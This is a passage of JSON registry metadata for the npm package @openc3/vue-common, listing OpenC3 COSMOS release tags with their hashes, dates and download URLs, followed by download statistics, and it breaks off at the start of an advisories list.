wnload_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.4.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.4.1/manifests"},{"name":"v4.4.0","sha":"68e9c7fad431c46eb5bd3a9f4bc9492380a81cbd","kind":"tag","published_at":"2019-06-28T23:12:12.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.4.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.4.0/manifests"},{"name":"v4.3.0","sha":"8c195f66f846e07e12e136dfd69d1dc925955a32","kind":"tag","published_at":"2018-08-30T21:59:11.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.3.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.3.0/manifests"},{"name":"v4.2.4","sha":"dc24e3f044aa1514a8ddfa6b0e32b2ec97b05e2e","kind":"tag","published_at":"2018-05-16T19:29:47.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.2.4","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.2.4/manifests"},{"name":"v4.2.3","sha":"0f3edbec8c96973f0f9c2e16a54b5a91db8ea869","kind":"tag","published_at":"2018-04-17T20:09:23.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.2.3","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.2.3/manifests"},{"name":"v4.2.2","sha":"2e9d5e722c5900b3cc8698ca47c834b3bc221362","kind":"tag","published_at":"2018-04-11T16:17:16.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.2.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.2.2/manifests"},{"name":"v4.2.1","sha":"3f23003fb13dd6b95671e629e3653edd1de7a217","kind":"tag","published_at":"2018-04-11T16:07:08.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.2.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.2.1/manifests"},{"name":"v4.2.0","sha":"37634231d2c049188149e28345bc80df36b493cf","kind":"tag","published_at":"2018-04-10T16:20:45.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.2.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.2.0/manifests"},{"name":"v4.1.1","sha":"c27715a4e5b485cb1911c1e6cd20f51b114cda18","kind":"tag","published_at":"2017-12-06T20:48:01.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.1.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.1.1/manifests"},{"name":"v4.1.0","sha":"74cb36fcc408eeab2765feb62c17efbae36848eb","kind":"tag","published_at":"2017-11-17T23:50:09.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.1.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.1.0/manifests"},{"name":"v4.0.3","sha":"4491933f1be884051d131c9603d662638cc5c39c","kind":"tag","published_at":"2017-10-03T20:31:22.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.0.3","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.0.3/manifests"},{"name":"v4.0.2","sha":"76cf51905922870ebc07c546bc2f475f6e02fb1d","kind":"tag","published_at":"2017-09-29T21:24:30.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.0.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.0.2/manifests"},{"name":"v4.0.1","sha":"0558c2ea8c6684f508cfa0c0ca81db8290a7be30","kind":"tag","published_at":"2017-08-23T22:36:55.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.0.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.0.1/manifests"},{"name":"v4.0.0","sha":"6153ee7311a059f0e66c984c1a3a37be7753535f","kind":"tag","published_at":"2017-08-04T20:11:49.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v4.0.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v4.0.0/manifests"},{"name":"v3.9.2","sha":"f0f6c9880d294cb9a09038cb7c8b0a83a87f1b26","kind":"tag","published_at":"2017-05-18T19:06:38.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.9.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.9.2/manifests"},{"name":"v3.9.1","sha":"e5fecad148c4a9bb0628de4ce3026b1ee65e9a5a","kind":"tag","published_at":"2017-03-29T22:00:14.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.9.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.9.1/manifests"},{"name":"v3.9.0","sha":"0d2d495007138d6145a42b4cba9176f3e606640d","kind":"tag","published_at":"2017-03-29T21:49:40.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.9.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.9.0/manifests"},{"name":"v3.8.3","sha":"5f496419cbba4119c58a1ac76a3c097f626dc586","kind":"tag","published_at":"2016-12-06T18:23:40.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.8.3","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.8.3/manifests"},{"name":"v3.8.2","sha":"1b839716bb7122c31deff116af60a339a5af8407","kind":"tag","published_at":"2016-07-05T22:23:04.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.8.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.8.2/manifests"},{"name":"v3.8.1","sha":"97881093d48c0048111945a69e5aa093619e3a7c","kind":"tag","published_at":"2016-05-12T17:56:27.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.8.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.8.1/manifests"},{"name":"v3.8.0","sha":"177368de8cd9e2af72959bb49770d9a03a4b0dc0","kind":"tag","published_at":"2016-02-27T06:06:53.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.8.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.8.0/manifests"},{"name":"v3.7.1","sha":"dd80433f0d18eef105d63c3eefd31282cdfc25cd","kind":"tag","published_at":"2015-12-29T22:21:27.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.7.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.7.1/manifests"},{"name":"v3.7.0","sha":"c4ab18dc1f9631e7f6927a84e244cb8009492d14","kind":"tag","published_at":"2015-11-25T20:12:22.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.7.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.7.0/manifests"},{"name":"v3.6.3","sha":"01af255d18e5fa10b08d8b8452493b8300948917","kind":"tag","published_at":"2015-10-30T19:47:05.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.6.3","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.6.3/manifests"},{"name":"v3.6.2","sha":"10fc352da77c74dbb4fda9206804f777cc68db02","kind":"tag","published_at":"2015-08-10T23:22:51.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.6.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.6.2/manifests"},{"name":"v3.6.1","sha":"c459fe69f1fbc2fbef635384eae6547d1d44553e","kind":"tag","published_at":"2015-08-10T19:06:14.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.6.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.6.1/manifests"},{"name":"v3.6.0","sha":"3b4f4bf2a69d33e27d189c363b89a8e87a95ba7e","kind":"tag","published_at":"2015-08-07T18:30:12.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.6.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.6.0/manifests"},{"name":"v3.5.3","sha":"7a92ece7cf4a73338a3dc85946737408666586c9","kind":"tag","published_at":"2015-07-14T22:06:19.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.5.3","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.5.3/manifests"},{"name":"v3.5.2","sha":"d7b539db1d04babd58977f9f3e96415849cdd2c7","kind":"tag","published_at":"2015-07-14T21:30:12.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.5.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.5.2/manifests"},{"name":"v3.5.1","sha":"b45f89e3fb5f3bec353cbc8332bda7690351b01c","kind":"tag","published_at":"2015-07-08T20:45:24.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.5.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.5.1/manifests"},{"name":"v3.5.0","sha":"5547894c10e2b151f8ecf5a5cbec5d0dbab817df","kind":"tag","published_at":"2015-06-22T20:06:22.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.5.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.5.0/manifests"},{"name":"v3.4.2","sha":"e77d30e23979812fe42af5288b0e44bec07791ee","kind":"tag","published_at":"2015-05-08T22:15:52.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.4.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.4.2/manifests"},{"name":"v3.4.1","sha":"0afae00e02150dd47d85e5428e56c617813ad9ae","kind":"tag","published_at":"2015-05-01T20:38:49.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.4.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.4.1/manifests"},{"name":"v3.4.0","sha":"fbc41db94ea70a1c3344f41c89141eebc670eb1f","kind":"tag","published_at":"2015-04-27T16:06:56.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.4.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.4.0/manifests"},{"name":"v3.3.3","sha":"4a664742905b12588f719e6a01e8f3f3bd3a45c9","kind":"tag","published_at":"2015-03-23T20:44:32.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.3.3","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.3.3/manifests"},{"name":"v3.3.2","sha":"0a45f56bad6762bd9baf3c49dbf09147e3918b24","kind":"tag","published_at":"2015-03-23T19:56:20.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.3.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.3.2/manifests"},{"name":"v3.3.1","sha":"f71919f53599e83ec16393bdd23fadd8ba2f1541","kind":"tag","published_at":"2015-03-19T22:53:25.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.3.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"dafb6c64193abc4596156e6d1fb0a0deb1110bb9","kind":"tag","published_at":"2015-03-19T22:41:56.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.3.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.3.0/manifests"},{"name":"v3.2.1","sha":"cadd66b3e97af3891c1041969676cd7a03483a03","kind":"tag","published_at":"2015-02-23T16:11:19.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.2.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"6f4ff2d6efbef229a8db2719cd9491c86f7082a4","kind":"tag","published_at":"2015-02-17T21:04:45.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.2.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.2.0/manifests"},{"name":"v3.1.2","sha":"82f7806ea1254bbc867bdab3cfe97a78446067db","kind":"tag","published_at":"2015-02-03T23:09:29.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.1.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.1.2/manifests"},{"name":"v3.1.1","sha":"2539664160c012cb703fa0ea0bfd479f99170a0d","kind":"tag","published_at":"2015-01-28T20:19:58.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.1.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"b48940656c271344ab5d18c7d2361bcb046a9fd4","kind":"tag","published_at":"2015-01-28T14:39:12.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.1.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.1.0/manifests"},{"name":"v3.0.1","sha":"5a60c8c40f434d7a25c54eed3f26df12271846f4","kind":"tag","published_at":"2015-01-06T17:54:35.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.0.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"75783ded4d9c0a86b01bf802b3612713a6cd39f8","kind":"tag","published_at":"2014-12-29T20:42:40.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v3.0.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v3.0.0/manifests"}]},"repo_metadata_updated_at":"2026-10-07T14:37:21.697Z","dependent_packages_count":0,"downloads":2334,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":25.363855050902284,"dependent_packages_count":36.7122397548361,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":31.03804740286919},"purl":"pkg:npm/%40openc3/vue-common","advisories":[{"uuid":"GSA_kwCzR0hTQS1ndmYyLTJyaDUtbXBnZs4AB6bm","url":"https://github.com/advisories/GHSA-